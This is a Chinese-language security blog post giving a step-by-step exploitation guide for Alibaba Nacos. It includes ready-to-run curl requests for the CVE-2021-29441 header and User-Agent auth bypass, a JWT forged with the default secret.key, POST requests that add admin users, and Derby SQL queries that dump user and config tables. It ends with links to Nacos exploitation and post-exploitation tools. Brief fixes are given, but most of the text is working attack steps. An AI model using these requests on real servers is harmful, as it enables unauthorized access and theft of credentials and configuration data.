免责声明
由于传播、利用本公众号藏剑安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号藏剑安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把藏剑安全“设为星标”,否则可能就看不到了啦!
框架介绍 | 何为nacos |
漏洞列表 | nacos漏洞全版本和指纹表 |
漏洞环境搭建 | 手动搭建 |
漏洞复现 | 1.如何识别当前站点是否存在漏洞 |
2.哪些版本(情况)存在该漏洞 | |
3.漏洞指纹特征⭐ | |
4.如何复现 | |
工具 | 综合利用工具 |
Part 1
01
何为nacos
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
国内企业常用,hw中常见,且利用难度低
Part 2
02
漏洞列表和指纹表
CVE-2021-29441 Nacos权限认证绕过漏洞 | /nacos/v1/auth/users?pageNo=1&pageSize=1 |
secret.key 默认密钥 CNVD-2023674205 | /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt |
CVE-2021-29441 Nacos权限认证绕过漏洞 | curl "http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security" |
Nacos 集群 Raft 反序列化漏洞 CNVD-2023-45001 | 开放7848端口 |
sql注入 | derby数据库 /nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables |
Part 3
03
前置知识
nacos/nacos
/nacos/v1/auth/users?pageNo=1&pageSize=9
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=
Part 4
02
漏洞搭建与复现
CVE-2021-29441 Nacos权限认证绕过漏洞
1.影响版本
Nacos <= 2.0.0-ALPHA.1
2.环境搭建
下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
进入目录
cd nacos
cd 进入bin目录
启动
./startup.sh -m standalone
访问ip:8848/nacos/#/login
搭建完成,开始复现(本人靶机ip为192.168.233.131,故后续地址采用此地址)
3,漏洞复现
3.1 验证漏洞
访问如下地址查看用户列表
http://192.168.233.131:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
虽然有password了, 但是是加盐过的,解密不了
3.2 添加一个账号密码
POST 访问 /nacos/v1/auth/users
添加POST参数
username=milu&password=milu
修改ua为 Nacos-Server
200ok
3.3 用milu,milu去登录
关闭环境
./shutdown.sh
1.漏洞描述:
Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
2.影响版本
如上所述,Nacos <= 2.2.0
4.搭建环境
和上面一样,只不过这次github地址换为
https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz
看一眼conf/application.properties里的
nacos.core.auth.plugin.nacos.token.secret.key
确实是默认的
而且nacos.core.auth.enabled的值为false,也就是默认没有开启权限认证
需要修改为true
4.漏洞复现
4.1验证漏洞
不带jwt直接访问如下地址,返回403
/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate
4.1构造jwt token
Nacos 使用 jwt token,算法为 HS256,将 secret.key 的默认值当作 secretKey,生成Signature。jwt token 的 Payload 为 subject(用户名)和 exp(有效期)。
payload
{
"sub": "nacos",
"exp": 1700677870}
时间戳修改为比当前时间晚一点,麋鹿当前时间是11-22,我生成的时间戳是后一天即23号
jwt构造网站https://jwt.io/
时间戳生成网站
https://tool.lu/timestamp/
生成jwt(记得写key)
jwt token格式
accessToken:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMDY3Nzg3MH0.ILVfXA4ccGutdcQSh_BcbzAgYVIseDrghQ3n3mgVNkE
5.对于鉴权的一些思考
我去看了看官方文档,发现鉴权是这样写的
所以
1.如果不修改nacos.core.auth.enabled
也就是说不开启权限认证
是不需要用jwt的
2.上一个未授权里提到修改ua头,在低版本可以靠ua头绕过
3.application.properties里默认server.identity为如下
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
所以这样也是可以绕过
curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security"
6.修复
1.2.0版本及以上的nacos,修改配置文件中的nacos.core.auth.plugin.nacos.token.secret.key即可,否则无法启动节点。
1.1.4版本及以下的nacos,由于私钥写死到了代码里,用户无法自行配置,只能升级nacos到2,2,1以上版本
CVE-2021-29441 Nacos权限认证绕过漏洞
细心的读者应该发现上面提到过这个问题
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
该硬编码导致攻击者可以构造携带该 key 和 value 的请求,从而绕过权限认证。
3.复现
指纹
curl "http://192.168.233.131:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security"
正常是不能访问的.403
但是用上面curl命令返回结果是这样
添加用户
POST /v1/auth/users HTTP/1.1
serverIdentity: security
4.漏洞修复
4.1 配置自定义身份识别的 key(不可为空)和 value(不可为空):
nacos.core.auth.server.identity.key=example
nacos.core.auth.server.identity.value=example
4.2 升级
https://github.com/alibaba/nacos/releases/tag/1.4.6
https://github.com/alibaba/nacos/releases/tag/2.2.3
/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
Part 4
放几个工具
反序列化漏洞利用工具
https://github.com/c0olw/NacosRce/releases/tag/v0.5
哥斯拉nacos后渗透插件
https://github.com/pap1rman/postnacos
综合利用,且gui版本
https://github.com/charonlight/NacosExploitGUI